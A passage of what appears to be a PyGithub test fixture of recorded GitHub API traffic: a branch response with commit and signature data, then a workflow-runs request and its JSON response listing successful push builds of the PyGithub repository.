SIGNATURE-----\n\nwsBcBAABCAAQBQJexJgACRBK7hj4Ov3rIwAAdHIIAAEbVB4bFBcpb3Um5ej7EuwQ\nAtxI4AiIV/XaX8FUE6pC5P5GgztCQcLu/1zLCeaGuK9AXdK8dpB5s6ID8q+ifu92\nQh3ElNv8bzKifHCHrnuRCE3ZaR9hn+6YVgxvgFhfTwwfhm1R5haLjg+xhsbNF/yV\nyPjed1XVgcrtlL80yJCLpwdUHRw/be3DVaMI/vytoHeD9TfGEWcajD4+jERaCvAx\ns+T4LlZ0nh3p7Tvy77eN3isA2dEnBQQY0MaC3TbDWO+5+LA45e65hxAGclCqIB8n\nBwufybEv+2aLwWSMDaoEu8GAL4HrMS7H8ksWmYs4PMzuxk2DMQ+721HXKs8lTXY=\n=FpVn\n-----END PGP SIGNATURE-----\n","payload":"tree f8bb127aac01f2185fa6d65914859a980d1f89b2\nparent e79b9013fe71ac9e54a3576d99ad95898ee52cff\nauthor Steve Kowalik 1589942272 +1000\ncommitter GitHub 1589942272 +1000\n\nRemove unneeded duplicate string checks in Branch (#1524)\n\nThere were multiple calls checking if an element of a list was a string\r\nor a string -- I suspect this pre-dates use of six in the code base, but\r\nlet's clean it up."}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/61b610926a023d80486ce1115e7331a4c714cfcb","html_url":"https://github.com/PyGithub/PyGithub/commit/61b610926a023d80486ce1115e7331a4c714cfcb","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/61b610926a023d80486ce1115e7331a4c714cfcb/comments","author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars0.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"e79b9013fe71ac9e54a3576d99ad95898ee52cff","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e79b9013fe71ac9e54a3576d99ad95898ee52cff","html_url":"https://github.com/PyGithub/PyGithub/commit/e79b9013fe71ac9e54a3576d99ad95898ee52cff"}]},"_links":{"self":"https://api.github.com/repos/PyGithub/PyGithub/branches/master","html":"https://github.com/PyGithub/PyGithub/tree/master"},"protected":false,"protection":{"enabled":false,"required_status_checks":{"enforcement_level":"off","contexts":[]}},"protection_url":"https://api.github.com/repos/PyGithub/PyGithub/branches/master/protection"} https GET api.github.com None /repos/PyGithub/PyGithub/actions/workflows/1026390/runs?actor=sfdye&branch=master&event=push&status=completed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 20 May 2020 05:33:15 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4942'), ('X-RateLimit-Reset', '1589954408'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"b908de94ef99672180ca2a5e8493f5e7"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8F08:50FC:D655F:F730D:5EC4C11B')] {"total_count":4,"workflow_runs":[{"id":100957683,"node_id":"MDExOldvcmtmbG93UnVuMTAwOTU3Njgz","head_branch":"master","head_sha":"f7cc534d50d8e157d67367b754df8a43434cebc5","run_number":98,"event":"push","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/100957683","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/100957683","pull_requests":[],"created_at":"2020-05-11T00:15:10Z","updated_at":"2020-05-11T00:17:33Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/100957683/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/100957683/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/669737232","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/100957683/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/100957683/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/100957683/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"f7cc534d50d8e157d67367b754df8a43434cebc5","tree_id":"9655233832ac4858ead671707992d84c180f92ed","message":"docs(repository): correct releases link (#1514)","timestamp":"2020-05-11T00:15:06Z","author":{"name":"Max Wittig","email":"max.wittig@siemens.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}},{"id":94845611,"node_id":"MDExOldvcmtmbG93UnVuOTQ4NDU2MTE=","head_branch":"master","head_sha":"ba9d59c209c77b02556d191564859e39f70c2fb0","run_number":73,"event":"push","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/94845611","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/94845611","pull_requests":[],"created_at":"2020-05-04T01:47:09Z","updated_at":"2020-05-04T01:49:45Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/94845611/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/94845611/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/650163957","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/94845611/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/94845611/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/94845611/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"ba9d59c209c77b02556d191564859e39f70c2fb0","tree_id":"c97fb618659ae0eed64c3c83b80a2106cf33dc82","message":"Add create_repository_dispatch to typing files (#1502)","timestamp":"2020-05-04T01:47:05Z","author":{"name":"Chris de Graaf","email":"chrisadegraaf@gmail.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}},{"id":93946842,"node_id":"MDExOldvcmtmbG93UnVuOTM5NDY4NDI=","head_branch":"master","head_sha":"0ca534ee1c0d6c6ddcf5f238ffe1838d75a8e082","run_number":70,"event":"push","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/93946842","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/93946842","pull_requests":[],"created_at":"2020-05-02T16:59:29Z","updated_at":"2020-05-02T17:02:05Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/93946842/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/93946842/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/647935437","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/93946842/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/93946842/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/93946842/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"0ca534ee1c0d6c6ddcf5f238ffe1838d75a8e082","tree_id":"bc083bf2033f2e72b1017d4ceae1b1a9837bf640","message":"Publish version 1.51","timestamp":"2020-05-02T16:58:45Z","author":{"name":"Wan Liuyang","email":"tsfdye@gmail.com"},"committer":{"name":"Wan Liuyang","email":"tsfdye@gmail.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/